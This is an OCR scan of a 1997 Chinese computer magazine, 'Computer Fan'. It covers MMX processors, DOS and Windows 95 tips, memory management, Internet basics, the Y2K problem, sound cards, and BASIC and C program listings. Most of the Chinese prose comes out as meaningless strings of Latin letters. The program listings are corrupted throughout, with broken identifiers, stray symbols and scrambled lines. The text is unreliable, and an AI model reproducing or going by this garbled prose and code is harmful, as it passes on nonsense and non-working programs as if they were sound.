Microsoft
Adobe
MM X MMX
MMX
MMX CPU
b A ARG IEE
MMX CPU
P54C
K5 M1 P55C K6 M2
CPU
1/0
P54C CPU
Intel P55C AMD K6

CyrixM2 CPU
CPU
VRM (
CPU
CPU
VRM

(RFeH &)
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b4

BERE? BMX?

REERRAF B A RD? T BT
AL AR R A WIE TR LA RRT,
BAVF PSR THRER “GHRE", THR®LA
TR A KB E A KRR 0 B R AR R F 4G (4 5)
RSB P “HRE LEARAREERZHER
i) o AFATIE ANV, S B30 E 1996 S 12 B89 4
Ao W _EHEAT T AEAS ik B 3R AL, B AT 4G
2, AW RAGHL T T HENEE: “AEiRE Y
MRt Agh X7, I RAUE HAT R R, FAE KA
B2 BT KigEF I wlae i, 52T AR
o I G BLik” P AReE- 2 5 5] W 6 AR %7

A B . HKARKTHA

1993 5 7000 386DX —
40 IMB 40M B FIGI.28
(
?) DOS WPS
FoxBASE 213
UCDOS3.0
1995 5
WORDG6.0
EXCEL5.0 CSTAR2.0
486DX4 - 100 8M B 210M B
WINDOWS WINO95
WORD EXCEL CAD
BBS INTERNET
286 586 Pentium Pro
P133
VCD 286  DOS
213 (F#&P)

B & . LM F 5 Y

.12,

386
CPU 40M aM
QB TC TP
286
DOS
DOS
VB VC C+ +
VF
386DX DOS
(HEH)
C&E. " REA"FAR"TKR"
MIS 0A
CAD ( BBS IN-
TERNET )
MIS 0A
( ), ( )
80X 86
1989 MIS
286 DOS

FoxBASE (dBASE), BASIC, WPS, TURBO C

MIS 0OA

CAD
CAD
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2

(#7352 13%)

E &, " REARBABARLEADHAN

CPU
386DX  486SX DX 4M
CAD AUTODESK
AUTOCAD
CAD
CPU
C
286
CAD
CAD
(& M=)
D & . AKRFETTLAFHFIL”
BASIC
BASIC
fig.sys  autoexec.bat
386 IM
486 386 286
BASIC DOS
486
486
DOS UCDOS
586

210M M
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TURBO C2.0
TURBO C2.0

4M 8M

con-

386

(E#H x| %)
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5

KV300 HHAFFITE: kvio0

KV 300
4800
AE UCWIN3 - 1 F3IMK:
KV 300
UCWIN
UCWIN
260
UCWIN UCWIN
BT H RPN, 20
EDC HOT 3&id .
DOS WINDOWS3.1 WINO95
INTERNET
GRE 39 ; ,
EDC 88
10
C CALC HOT - WORD
97
C INTERNET 108
20 IHHEMIS L. MIS
CGE
CGE
DOS
80 MIS
980
INTERNET CAINET WIN-
DOWS INTERNET ERAA LW KA
UNIX E - MailL

90
RAP—— LI R R G
o
)
b

%

)

3 3 31

.76.
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1996

Quick Basic
Get.scancode

LTK Drawkey

DrawEnter

body

asc15.along

goup

Draw Screen

BIOS INT 16H
Do...Loop
Drawkey

70

DECLARE SUB goup ()
DECLARE SUB Drawscreen ()

DECLARE SUB drawkey (scancode!, wzx!(), wzy!(), k!)

DECLARE FUNCTION get.scancode! (keycode!)
DECLARE SUB ascl5.along (aschr $, x!, y!, C! )

DECLARE SUB DrawEnter (x!, y!, k!)
DECLARE SUB body ()

DECLARE SUB LTK (x!, y!, w!, h!, s!, k!)

DECLARE SUB delay (n!)
>$INCLUDE: ’gb.bi’

DIM wzx (&HFF), Wzy(&HFF) ’
DIM keystr $ (90), keystrl $ (90) ?

FOR n = 2TO 14

wzx(n) = 60 + (n - 2) * 40: wzy(n) =
NEXT
FOR n = 16 TO 28

wzx(n) = 40 + (n - 15) * 40: wzy(n)
NEXT
FOR n = 30 TO 40

wzx(n) = 90 + (n - 30) % 40: wzy(n)
NEXT
FOR n = 44 TO 53

wzx(n) = 110 + (n - 44) * 40: wzy(n)

NEXT

= 41: wzx(n) = 20: wzy(n) = 197
n = 15: wzx(n) = 20: wzy(n) = 240
n = 57: wzx(n) = 180: wzy(n) = 360
n = 86: wzx(n) = 85: wzy(n) = 360
n = 43: wzx(n) = 520: wzy(n) = 360

FOR n = 2TO 53
READ keystr $ (n)

NEXT

FOR n = 2TO 13
READ keystrl $ (n)

NEXT

READ keystrl $ (41), keystrl $ (26), keystrl $ (27)
READ keystrl $ (39), keystrl $ (40), keystrl $ (51)

Computer Fan 1997 .2.

delay

197

240

280

320

READ keystrl § (52), keystrl $ (53), keystrl $ (43)
keystr § (40) = CHR $ (34)

SCREEN 12 ’
body ’
FOR n = 2TO 86
drawkey n, wzx (), wzy(), 0
> F K
IFn = 33 0R n = 36 THEN LTK wzx(n) + 16, wzy(n)
+ 19, 4,1, 1,0

)

640x 480 16

IF keystr$ (n) <> "" THEN ascl5.along keystr $ (n), wax
(n) - 3, wzy(n) + 3,0

IF keystrl $ (n) <> "" THEN ascl5.along keystrl $ (n), wax
(n) - 3, wzy(n) + 18, 0
NEXT

Draw screen

LOCATE 3, 11

DO UNTIL scan = 1 ’ ESC
scan = get.scancode(h)
drawkey scan, wzx (), wzy(), 1
delay .07 ’

drawkey scan, wazx (), wzy(), 0

y = CSRLIN: x = POS(0) ’

IF x > 70 THEN y =y + 1: x = 11 ~ 70
IF y > 5 THEN goup: x = Il: y =5 7 5
IF scan = 28 THEN ’
IF y = 5 THEN goup: x = 11: ELSEy =y + 1: x = 11
END IF
IF scan = 14 THEN ’
IF x > 1l THEN LOCATE , x - 1: PRINT " ";
IF x > 11 THEN x = x - 1 ELSE x = 11
END IF
LOCATE vy, x
IF h > 31 OR h = 9 THEN ’ 31 9
COLOR 2: PRINT CHR $ (h);
END IF
LOOP
END

DATA "1T @, "4 " § " G e & e ()
DATA " ","Q","W","E","R","T","Y","U","[","0","P".,"
IR

DATA " ","A","S","D","F","G" "H","J" , "K ", "L", """
DATA ™ =", "0 [z X,V B N M,
<

DATA "1","2","3", 4" 15" NG, N N gt nOr, o
DATA ">, "[", AN

u]u non nen non "non
D L

14 721001

1997
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BABLEBH 1997 3 10
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2 100081
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Cyrix486DX 2/80
NOTORNS.0 SI
CPU 135.9 56.8,
BIOS
80 MHZ CPU clock
75M HZ
REMARK CPU (
CPU REM ARK
), , 75M HZ
SI

Write back on
8OM HZ

CPU Cache

Autoexec

Config
Speed20

WINO9S “
CIRRUS

IBM PC100 P/ 75,

LOGIC

256
WIN95
windows3.x
WIN95 WIN95
WIN3.1
WINO9S5
16

P75 8M
VCD ‘ select first track"
SAMSUNG
VCD

SONY

VCD

autoexec.bat

MSCDEX .EXE

smartdrv.exe/x/u

select first track"

.18.

, P75/8M , 540M

PRG
486/ 66, 4M ,
540M
486 config.sys
autoexec.bat P75 ( con-
fig.sys, autoexec.bat ),
DOS
486DX / 80/ 4M B/ 540M /
4096K B
RESET
1994.1.1 WINDOWS
3.2
KV 200
RESET ?
CMOS
BIOS
CACHE
BIOS BIOS
BIOS
Hippo10 Cyrix486DX2/ 50CPU ,
Cache “ The exter-
nal cache is direct — mapped and employs a
write — back scheme "
CACHE CACHE 486
CACHE
486 “ CACHE,
CACHE" DCA , CACHE
s Cache Cache
Cache Cache Write Back

Write Through
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3 DDOS WIN3.X  WIN9S
® ©)

400 ~ 500 / E-
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[ ] DOS  Windows AN ) GB/BTGS ?
[ ] Windows3.x & WINO9S ? [ ] BIGS ?
o Internet ? [ )
FRS.0 KT o
£XE 5.0 GB
BIGS
N GB  BIGS
DOS/ Winwos/ WIN- N !
DOWS95( PWIN95 DOS 5.0 —_—
) Internet 97
e BIGS5 *
PWIN ! 97
WIN 3.X & 95 GB
DOS CWIN
e 5.0 —
IR ISR F Y AL 2K
= wd TR
BIGS
BIGS ? 1997
GB 1 31 —_—
% 4R 1%
WINDOWS  DOS “ "
? Internet
Internet
» ! E -Mail/FTP/WWW  Internet
" DOS/ Win- £RES5.0 100
£ 5.0 dows  WINO9S
FRE 4.2 25
AR FRE 5.0 C ) 10
4.2
£ 5.0 — A& 5.0 — £E
% N F A HOT — WORD 54 22 x4+
Windows 3.x Windows 3.x  WIN95 7977092)
WINDOWS95
FN Tk AR A B AE BT
450000 267 0371 - 6224022 321 238 6247744
6241574 E — Mail :hot @public.zz.hy .cn Internet ) hotsoft .ivnet .com .lw
Internet ( ) WWW .hotsoft.co.cn
( WEB - China97 010—64993628 64933316)
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Internet

? Internet
?

-~

Internet

— . Internet ¥ &M K4 T & & £
F it H A
Internet
Internet Internet
(1) @®
©)
®)
(2) Internet
Internet
Internet
(Router) Internet
Router
Internet
(3) Internet TCP/1P
TCP/IP TCP/IP
ICMP ICMP
echo
echo —reply
.82.

TCP/IP

Internet

SNMP TCP/IP

(Managemenet station); -

(Management agent);- MIB ;-

TCP/1P
SNMP
MIB
MIB MIB
SNMP UDP
UDP
SNMP UDP IP
Internet SNMP

IBM NetView

hopcheck traceroute NetMon InterRover

traceroute

SNMP

Monet TCPdump

NetMon

SunNet Manager

IBM NetView In-
ternet SNMP
(4)Internet Internet
( )
Internet
1
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0 1 8 16 24 31
class A [ 0 ‘ | l
01 2 16 31
class B ‘ 1 |O | ‘ ‘
01 2 24 31
class C [ 1 ‘ 1 I | I
1 Internet
A 916
B 28~ 2%
C
28
Internet
4 In-
ternet 8
10011111 11100010 00111100 00000001
32 Internet
159.226.60.1 159 226
60 1
Internet Internet
Inter - NIC
RIPE - NCC
ANPIC( )
1P
Internet
(5)Internet DNS Internet
DNS

2 Internet DNS
“ ” (n H)
“ » )
DNS 2
“ " DNS Client/Server
Inter-

net

IP Address MAIL DNS
Client/Server name server
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DNS

( ) In-
ternet
DNS Internet
1P E - mail
(6)
Internet
/
( )
Internet
Internet
(7)Internet
Internet
(N R) N
R Internet
(F4)
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D0S6.0

INTERLNK.EXE

9
25
11
9 9
5() 5
3( ) 2
2( ) 3
25 25
2 () 15
3 () 13
4 () 12
5 () 10
6 () 1
150 ) 2
3C) 3
20 ) 4
0C) 5
1me) 6
25 () 25
()
(cliend) (server)
ABCD A B C
INTERLNK

. 84.

CONFIG.SYS

DEVICE = \DOS\INTERLNK .EXE
LASTDRIVE =G

TERLNK.EXE

E
DOS IN-
DOS
CONFIG.SYS
DOS IN-
CONFIG.SYS

CTRL +ALT +DEL
INTERLNK .EXE

Other Computer (Server)

G

TERSVR.EXE

Port =LPT 1

This Computer (Client)

E: equals

F: equals

G: equals
E F

1.

A:
B:
c: (630Mb)

“ Connection NOT established” (

3(RICH3

(Hx MzEE)

ettt s st o,

)
U a =z
PCTOOLS

.SAV (

SAV )

AO 86 01(
90 90 90
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Demo

(Explorer)

Farm -

(Mill) - (Church)

Wood

1 Shift Shift
Shift

In Out
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Conquest of the

Shift

2 Ctrl

Interplay Ctrl

Artillery

Infantry Cavalry

(Housing) -

486DX2
SMB
DOS 5.0 Windows 95
SVGA (800 X 600)
RPG +SLG
( )

Infantry 1
Cavalry 2

Gold Artillery 1

Dock

Farm

Fort

Mill
Housing

T avern
Church
Gold Mine
Metal Mine

Commerce

Explorer

Goods

Shift (b

new world

NS}

R

J

N
IKAFAR)
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(wavetable) Binaura Bolby SRS Qsound Spatializer
Dolby Pro Logic
Creative  Aztech Qsound
MIDI
FM “ 3D”
OEM “ 3D”
3. ‘ " (DSP)
Dsp
1. DSp DSP
()
Emu8000 * !
(AWE32 ) AMD interwave32 ( (ADSP)
3201 ) OPTI82C929(Diamond Power 4.
Kit ) Toptek TMI8828(
GM 32Ix ) Crystal(Vic
) Crystal
Emu800 FM
Toptek TMI8828 100%
80db SB SB PRO SB16 Adlib OPL2
ROM AMD Inter-
IMB wave32 3201
ROM ( 2MB ) (" ")
128
(01))] MPU -401General MIDI MT32
MIDI 2MB ROM
MIDI KIT 5.
“ ? FM Mixer .wav .MID CD
20 MIDI
MIDI
OEM MIDI Orchestrator plus 1.6x Presto Ar-
ranger 2.x MIDIsoft AWE32
2% 3D "
“3p "
“ 3D ? PnP
FM
“ 3p” p
“ 3D" “ 3D” -
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T F ARG RS BA X E RET RN E S A
3 4000 ~ 6000 12 £ 4, M AT B R Ak AL 4% E
HINFRAGIZ L, B RAMUGER 30T T, A0
B LA R S A9 A A T 0 X IE R KA TR A Ad Bk

“ 1993” “ 93" 1900” “ 00"
“ 2000 “ 00"
“ 2000 1900
“ ” 21 21
2000
1999 12 31
23:59:30
12: 00AM 01/01/
2000
1980
1984 , DOS
(BI0S ) 1980
1984 BIOS DOS
Windows3.1 1900
“ 2000
“ 2000 "
“ 2000 "
2000
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4
104
104
18 2000
18 8174
3313
7
ADPAC
44% “ 2000
? “ 2000 !
21
“ 2000 ”
“ 2000 "
3
4000 ~ 6000 “ 2000 5
1995
10 IBM
2000 IBM
SYSTEM /390 AS/400 RS/600
POWER PC
2000 COMPAQ
Deskpro XI. Deskpro  Prolinea
ROMPAQ ROM
“ 2000 " 1996
Deskpro2000 Deskpro4000 Deskpro6000
“ 2000 " “ 2000 !
“ 2000 ? 1600
3 50 1600
1995
“ 2000 ?
“ 2000 !
4000 ~ 6000 !
‘ " ©
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“PCTV ”t"‘"”@i‘i m

an," e RREEERTE
o S

0
- PCTV
PCTV
25 800 x
600
PCTV
“ PCTV” ( ) 1997
PC 1997 PCTV
Gateway 2000  Destination 29
Big Screen PC Net’TV ~ WorldVision 2900 800 x 600
PCTV
Zenith Sony National Compagq Curtis PCTV
Mathes PCTV
120M Hz
200MHz  Pentium “
/ 27 !
PCTV PCTV
PCTV PCTV
PCTV PCTV
* ? PCTV
10
PCTV
INTERNET PCTV
INTERNET
PCTV * NC NetPC MPC PC
? PCTV
PCTV
PCTV
“ PCTV @
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CPU CD-ROM S3

1996 y
Sonic Vibes y
ISA

PCI Sonic Vibes

PC iz;E,]'(

MIDI Di-
rect Music API @
=
CD -ROM PC '3/ i

8

1.2M bps 250 ~ 500ms &
LG IDE ﬁ
16 “ CRD8160"

LG
il
LG
1996 1997
ANN
9GB —Atlas [[
3.5" SCSI I 7200 /
8.0ms 40M bps S3 Plato/PX
PC
ASA-
BET
(Wave Table) VCD
1997 1
(Creative) VGA
Sound Blaster AWE64  Sound Blaster AWE64
Golden AWE 64 PC
AWE64 Golden CPU 1997
64 1 Intel MM X Pen-
3D tium —_— (P55C)
Intel 1998
MMX?2

CPU
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1 8
1994
Windows95
CoralDraw PhotoShop
IBM 2000
Aptiva
UBI
1997 1 18
MMX
1 9  Intel MMX
P55C——
—_— 5/
166M 5/200M
Win95 33.6Kbps
/ 2.0GB 12
MTV
FP +s
AST 1 6  AST
BBS E— .
68498066
26688586
AST
AST
AST
AST “ " "
L12.

ActiveMovie

13
1 18
312
JCN
DVD
Windows95
NT DVD
DVD DVD
1S09002
1S09002
133
1000 1996
— 120 ' 97
12 28 “
Internet "
1997
Internet

W, KT

Windows
Windows

15

1996

1996
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UCDOS # ik

O @R hEGAREL G

D
UCDOS 3.1
5.0 ®
AN ERERH
3 FOXBASE + 411 — 1% # 1% % ) 11
3.1
5.0 ( ) PY.COM []
( ZP.COM) PY.USR UCcDnos FOXBASE +
UCDOS DRV INDEX
PY.OVR VAY < >
F2— F3—
< >
5.0 31 USE TEACHER
: . INDEX ON TO TEACHER1
3.1 + TEACHER
5.0
< >
NOT .
5.0 INDEX ON .NOT . TO TEACHER?2
5.0 ( )
INDEX < >
©
50 WB.IMD . . Wf)lndows;[.l Con-
ALT +F5 trol Fane ouse
F5 "
F5 D ouse
LIMD WB/7 F7 " _— :
IMDMNG .EXE WB.IMD Torouse Lrats
@ !
©
o g 2000K
b J
DL() - 2000k Z &7 5 kAR
1 2 3
DLQ - 2000K 6
DLQ - ©
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PCifll
NIEFTIT

pPC
1 PC 1024K
DOS 1024K HMA ?
PC
PC
: ? 16
16 “ 5A69
15B7"
16
5A 690 + 15B7 = 5BC47
FFFF 2% FFFF0—2*-
16 IM 16
FFFF 1M 64K
16
IM
“ ? 80X 86
1024K 1088K
16 8086 8088
20 1024K
DOS5.0 CON-
FIG.SYS DEVICE =HIMEM .SYS,
20 DOS =HIGH,
64K DOS
BUFFERS HMA—
2. 286 M
384K ?
pC 640K
ROM - BIOS
BIOS 640K IM
640K
384K IM
384K
RAM

.14.

386 PC “ " RAM
384K CMOS
SHADOW ROM
ROM
XMS EMS
K
SHADOW ROM
640K 1M 384K
BIOS ROM
DOS
D0S5.0 EM M 386.EXE
640K 1M
XMS "
UMB TSR
286
384K 286
EM M 386.EXE
3. (XMS) (EMS)
?
EMS
DOS
RAM 64K
DOS 1024K
IM  8086/8088
— PC
DOS
CPU RAM
1024K 64K
DOS
30X 86 286 16M 386/ 486
4G
XMS
XMS M
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CCED

CCEDS5.03( )

1" C
(DBLSPACE)
DOS3.1 H

UC-

CCED’ 4( )
H \UCDOS\CCEDSLW ,
95K B CCED-
SLW .EXE H \UCDOS
M CCED5.0
( ) A
CCEDSL .EXE
CCED213.COM

CCEDUC.COM,

KT Win95 -
ARIREalmE

WINDOWS95

WINDOWS
(.SYS )

(.bmp )

Logo.sys—WINDOWS (
)

Logow .sys—

* Please Wait

While your computer shuts down”

Logos.sys— “ It is
now safe to turn your computer off”

Microsoft Paint Pho-

~IPIPNIDIPNIPIPNIDNID TP NPT IDNID TP NI LD NTDIDIDNIPTDNID TP~ NI~ NTP DTN ~IPIDNIPIDNIPIDNIP~IDNTP~IDIP™

CPU WINDOWS AU-
TOCAD 3DS DOS
EMS
XM S
DOS EMS LOTUSI -
2-3  FOXPRO
386 EMS
386CPU XM S
EMS D0S5.0
EMM 386.EXE CONFIG.SYS
DEVICE = EMM 386.EXE RAM 286
EMM 386.EXE 286
EMS
EMS XMS
EMS EX-
PANDED MEMORY XMS EXTENDED
MEMORY EXPANDED
pr PAGE
4 2
WINBASE aM
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toshop 534X 400
320X 400 .8ys,
©
2M  RAM
1. DOS
DOS
HMA EMM 386 UMB
TSR QEMM 386
RAM
EMS
2. WINDOWS  WINOWS
3DS
DOS
IM
EMM 386 64K UMB
100 K
CONFIG.SYS
HIMEM .SYS XMS
WINDOWS  DOS DOS
1
WINDOWS XMS ©
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" —_— 8259A PC
?
CPU
8259A  IMR(
? ) CPU PSW ( )
?
?
CPU INTR
NMI ( )
1/0
CPU
CPU 1/0
CPU ?
“ ” ( CPU)
?
?
CPU
INT
?
? “ ” INT
( ) ( )
( ) BIOS
( ) ( )
( ) ( ) INT 12H
( ) AX
R ?
?
?
(
) @
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“ (nn) (1)
o
0
(1)
2 - W e . . .
| . ,
(2)
(1) ©
EHEE Wi
S A Windows 95
/, - /\ -
W B AR M R 69 L4
o A M IR
[]
Windows 95 Windows 95 “ "
“ “ |.NORMAL
" “ " 2.LOGGED:; 3.SAFE MODE: 4.SAFE MODE
Windows 95 MS -DOS WITH NETWORK SUPPORT ;5.STEP BY STEP;
Windows 95 6.COMMAND PROMPT ONLY; 7.SAFE MODE
MS - DOS PC- COMMAND PROMPT ONLY; 8.PREVIOUS
TOOLS5.0 “ VERSION OF MS - DOS” 8 DOS
( DOS ) PCTOOLS5.0

Norton unerase

©
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WGORIVE GO

IMGDRIVE % IMG % .DDI
IM G-
DRIVE
1. WINDOWS MS -DOS
DOS IMGDRIVE
ALT +TAB WINDOWS
2. MS - DOS IMG-
DRIVE ( A )
ALT +TAB
MS -DOS IMGDRIVE
3. ALT + TAB
4. 23
IMGDRIVE
1. IMGDRIVE CTRL +ALT +S+D +
X
3. ©
» SYS X FrilbiR
< [1U., RV
[]
CONFIG.SYS
?
CONFIG.SYS F8
CONFIG.SYS
©
.18.

Windows 95

5D0s M5tk

Windows 95 DOS
Windows 95
Windows 95 DOS
Windows 3.X
Windows 95 DO0S6.X
Windows 95 D0OS6.X
1 2
1 DOS6.X
Windows 95
10.SYS 10.DOS
MSDOS.SYS MSDOS.DOS
COMMAND.COM COMMAND.DOS
CONFIG.SYS CONFIG.DOS

AUTOEXEC.BAT

AUTOEXEC.DOS

Windows 95

2 Windows 95

DOS6.X
10.SYS WINBOOT .SYS
MSDOS.SYS MSDOS.W40
COMMAND.COM COMMAND .W40
CONFIG.SYS CONFIG.W40
AUTOEXEC.BAT AUTOEXEC.W40
MSDOS.SYS
Windows 95 DOS
Windows 95
DOS 10.SYS MS-
DOS.SYS DOS DOS7.0
DOS7.0 Windows 95
Windows 95 DOS7.0 D0S6.X
8K DOS
Windows 3.X DOS 6.X
DOS 7.0 DOS 6.X
“ Windows 95=D0OS 7.0+
Windows 4.0" @
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MS -DOS BACKUP.EXE
RESTORE .EXE
WINDOWS
WIDOWS
C \CCED\* . *
() WINDOWS
* [(w]”
WINDOWS
MWBACKUP
BACKUP
(1) WINDOWS M WBACK-
uPp BACKUP
SYSTEM .INI
[e386enh |
device = VFINTD.386
DM ABUFFERSIZE =32
MWBACKUP MS -DOS
MS -DOS EDITOR
SYSTEM .IN1 [e386enh |
WINDOWS
(2) WINDOWS  MW-
BACKUP
BACKUP BACKUP TYPE( )
FULL Select Files e
CCED
CCED
CCED CCED
CCED
Include
“ Include/Exclude
files” C \CCED
" “ C \CCED\ * %"
‘ Include/ Exclude files”

“

" START
BACKUP
OK C:\ DOS
DEFAULT .SET DOS DIR
CC61113A.001 CC61113A.002
DOS BACKUP
BACKUP.001 CONTROL.001
()
MWBACKUP CATA-
LOG Retrieve Catlog From
Drive A: 3.5’ A
OK
RESTORE FILES
ALL FILES START RESTORE
C\
CCED
0K @
WPS2.2F LQ - 1600K
=
WPS WPS
oo
10O
1= WPS  LOQ - 1600K
== WPS.CFG
im [] PCTOOLS LQ - 1600K
— 1B 55 01( ESC"U"01)
X 1B 55 00
=i (ESC"U"00)  WPS
- ==
FJ
En 8
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COMMAND.COM

129

0

jz3|

COMMAND.COM MS - DOS shell = ¢: \dos\command/e: 1024
DOS COMMAND.COM DOS CALL
?
DOS shell
.COM COM-
MAND.COM MS -DOS COMMAND.COM /C
COM- BAT1.BAT
MAND.COM DOS shell BAT2.BAT
Foxbase “ run c:\dos\Command” , C \DOS\command/c bat2
“ EXIT”
DOS COMMAND.COM /Y COM-
DOS " " MAND.COM /C /K /C
MS - DOS / K
DOS5.X  DO0S6.00 256 EXIT /Y
DO0S6.22 272 CONFIG.SYS MYBAT .BAT
SHELL COMMEAD.COM / COMMAND.COM (Y)
E:NNNNN (N) /Y /C /K /Y
16 < =NNNNN < =32768 MS -DOS
NNNNN (1 =16 c:\dos\command/y/c mybat
) 1024 D0S6.22 ©
239,293,939,999,999,939.993,939,999,933,939.993,939,999,933,939.993,939,999,933,999.999,939,999,933,999,933,939.999,939.999,933 939,999, 939.993.933,939.993,939.993.933
7 %
( *.TXT )
XCOPY *.TXT/S CON
—REEALHRH —BErwps BAXHBHAS
WPS WPS
TYPE
DOS
move:
move COPY WPS /B CON
? x
D0S6.0 WPS
“EREAAARTHNE
DOS
TYPE : *
[ COPY CON &
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Program manager

Windows 3.X

Windows

NosaveSetting = 1

Windows EditLevel =n
Windows
n=1
n=2 n=1
Program manager n=3 n=2 Properties
Progman.INI [restrictions ] command
n=4 n=3 Properties
NoRun =1
File Run
[restritions]
NoClose =1 Nosavesettings = 1
File “ exit Windows" EditLevel =2
“ close" [restritions] Pro-
ALT + F4 Win- gram .INI
dows Edit  WPS (WPS
NoFileMenu = 1 N )
File Window 3.1
©
Windows 95
L] Windows 95
Windows 95 DOS
CPU 486X 25 &M 120M
Windows
95
Windows 95
W I N95 Windows 95
D0S6.22
DOS DOS
Windows 95 Windows 95
D0S6.22
WIN3.1 DOS WIN3.1 Windows 95
DEFRAG
CONFIG AUTOEXEC
SMARTDRV Windows 95
DEFRAG ©
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Windows 4k =N

L]
S 1) LA
1.
(
Windows ' ' )
( )
3. “ ” WINDOWS
WINDOWS Win-
dows
2.WINDOWS WINDOWS
?
Windows “ ? “ ?
“ C \WINDOWS”
CTRL +
L “ " “ [cl” “ " Windows
( C ©
WINDOWS WINOOWS
1. WINDOWS
WINDOWS WORD EXCEL FOX- []
PRO REPORT 127 WINDOWS
2. " " 4. WINDOWS
10 X10 9999
3. “ "
5.
(1) WPS FRAME MS- FOXPRO FOR WINDOWS FOX-
DRAW MICROSOFT PRO “ SAY”
1000 2000 3000
(2)  WORDS5.0 “ ”
“ " 2000 “ "
(3) FOXPRO GENERAL LQ 1600K
WINDOWS
(4) @
Computer Fan 1997 .3. .23.



&

WINDOWS MNERFEM -

L]
MOUSE
WINDOWS
WINDOWS
WINDOWS
WINDOWS SETUP
MOUSE MOUSE.COM
WINDOWS
MOUSE.COM ?
WINDOWS
MOUSE.COM MOUSE.DRV
MOUSE
WINDOWS
(1) WINDOWS “ "
“ WINDOWS "
(2)  DOS WINDOWS
SETUP.EXE  MOUSE

(3) DOS  EDIT WINDOWS
SYSTEM.INI  “ MOUSE .DRV ="
MOUSE.DRV =MOUSE.DRV”

WIN-
DOWS MOUSE.COM
UMB WIN-
DOWS MOUSE.DRV
[13 ” 113 ”
WINDOWS
(PATTERN) BACKGROUND
FRONT
(PATTERN) ?
(1) “ e
(2) * ”
( 640X480)
(PATTERN)

(1 = "

(2) " ”

( 640X480) ©

O——

4% A IMGDRIVE & % B 4% 2 7 i%

IMG-
IMG-

[]
1996
DRIVE
IMGDRIVE
A
B ) A( B)
DRIVE
DRIVE ( )
IMGDRIVE
.24.

IM G-

Cirl + Alt +S+D + X

DRIVE
Enter (
)
“ATY BT 07
Enter ( )

IM G-
IMGDRIVE
) DRIVE (
.
"o
ESC
©

A—@

i EAFE 1997 3.



b

. L]
Windows95 T+ CCEDS.03
Windows95 LIMD JP
(WORD) LIMD WB
WORD C:\CCEDI\CCED
Windows95 CCED
Windows95 “ y y Y, y M
CCED DOS  Windows95 “ " “ - ”
c:\1l.bat
_ CCED ‘ Desktop” “ n "
Window s95 CCED “ CCED5.03" “ v N
DOS “ " “ ”
UCDO0S5.0 CCED ( Window 05 CCED
CCED5.03) Window <95 “ "
LL.BAT * CCED5.03 CCED
DOS
@ECHO OFF
CD\UCDOS
RD16 %1 Windows95
KNL %2 (
lfjf[{);i‘ LL.BAT )
F1 CCED
DOS “
LT " Ctrl+C Windows95
5 A WINDOWS 5 648
IBM 586
N P75 D0OS6.22 UCDOS5.0 CCED5.03 Windows95
WINDOWS ©
e e i e
U]
Windows
WIN
Logo ( ) Shift
” “ i Win o ( "o ) Win-
“ " ¢ " dows Logo WIN
.CIP
Windows
@ ©
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386DX40- 4M -

210M

99"
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UucCboOS
WORD6

DOS
WINDOWS “
NPS

? NPS
99"

WPS
WORDS

Computer Fan 1997 .3.

7
20 378000 90
3
11 12
3 4
4000 5000
520000
8
10
5X86
©
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XENIX

vi

vi r

XENIX

DOS
AR -3240

1-8
11-18

b. vi r

24 x 24 3

:;r 1 <CR >
:r 13<CR >

C.

1

a.
# cc —o lpp lpp.c
b.

# ./lpp file

.28.

2 = /
/ '/
/ /
/ '/
v/ W /

DOS Ipp.c:

#include <stdio.h >
#include <fenll.h >
#include <sys/types.h>
#include <sys/stat.h >
void main (argc,argv)
int arge;
char *argv| ]
XENIX {
FILE > fpi, *fpo;
int c;
int 1;
char b;
char chal[20];
char chb[20];
static char *datal]={"\033ul 24 x 24 " "\033u2 24 x
16 ","\ 033u3 24 x 12 ","\ 033u4 32 x 32 "M
033u5 32x 16 ","\033u6 40 x 140 ".,"033u7
40 x 40 ”,"\033u8 40 x 40 }
static char *dat1[]={"1","2","3", 4","5","6","7","8",}
static char *datal[] = {"033el1 1 " "033e22 2 ”
"\033e33 3 ","\033e44 4 ","\033e55 5 ",
"\033e66 6 ","\033e77 7 ”,"\033e88 8 "}
static char *dat2[]={"11","12","13","14","15","16","17","
18"}
if (argc! =2)
{
printf (" 1)
exit (0) ;
}

for (c=0;¢<19;¢c+ +)

c=10;
24 % 24 J

else

if (¢ > 10)

{

i=c-11;

fpo = fopen (dat2[i],"w");
fputs(dalalli] ,fpo);
fclose (fpo);

}

else

{

lpp
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DOS DOS

md” “ed”
DOS

“od\

cd”

BORLAND C + +

cdr.cpp

DOS DOS

“ CDR [ I
“ CDR ?”

< conio.h >

< stdio.h >
#include <stdlib.h >
#include <string.h>

main (int arge, char *argv|[])

{

# include
# include

int i;

unsigned long int a;

char *ptr;

a= strtoul(argv [1], &ptr,10);
if(argc! =2)

-,ﬁ E 2&?’5&&5

]

{
printf (") ;
printf ("\nUse Error. Input: CDR ? to get help.”);
exit (0) ;

if (stremp (argv[1],7?") = =0)
{

plmtf(”") :
}
for(i=0si<a; + +1)
{
system ("ed ..");
) ©

%M C3#E=Z (Turbo C 2.0, Borland
C+ +BMATHiFRL )HE T —RIEM LA T A %
AN B IGAREE,A—RE, A ARG
MACH AT, X L h— AR AE T ey C BABAE .
#include <stdio.h >
#include <stdlib.h >
main (int argc, char ‘kargv[])
{
int i=atoi(argv[1]);
if(arge<2 1 I'i= =0)printf("edn N[1,2...]

curent dir up N classes.”);

!make

"
<)

else for (;i>0; — —i)system ("cd .

fpo = fopen (datlle],"w");
fpuls(data[c] ,fpo);
fclose (fpo);

}

}

system ("clear”) ;
printf("\n

24 x 24

24 x 16
printf (" 24 x 12

prinlf("\n
("
("
printf(’ 32x32
("
("
(

printf

" 32x 16
" 40 x 40
40 x 40
printf ("\n 40 x 40
scanf ("%c", &b);

sprintf(cha,"vi %s",argv[1]);

printf
printf
printf "\n

0NN B W —
0 TN AW —
—_
L

system(cha);
sprintf(cha,”%s.bak",argv[1]);
fpi = fopen (argv[1],");

fpo =fopen (cha,"w") ;

while ((c¢=getc(fpi))! =EOF)
{

if (c= ="\033")

{

Computer Fan 1997 .3.

putc(c,fpo);

c=gete(fpi);

putc(c,fpo);
c= gelc(fpi);

putc(c,fpo);

c=gete(fpi);

putc(c,fpo);
while ((c =gete(fpi))! ="\n")

{

}
1
else

{

putc(c,fpo);

}
}

fclnse(fpi);
fclose(fpo);
%printf(chb "Ip %s",cha) ;
system chb) ;

system

sprintf

tm 1234567811121314 151617 18");
chb,”rm %s",cha) ;

(
("
(
(ch

system (c )

}
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Novell M Z& ¥ & J % A4F
— MR F R BIR 2R

Novell
Novell
Novell
1. AUTOEXEC .BAT (
EXE )
Novell
2. (
3.
DELTREE
4.
5.
586 386 (1M )

Novell 3.11, Ucdos 5.0,Foxpro 2.5

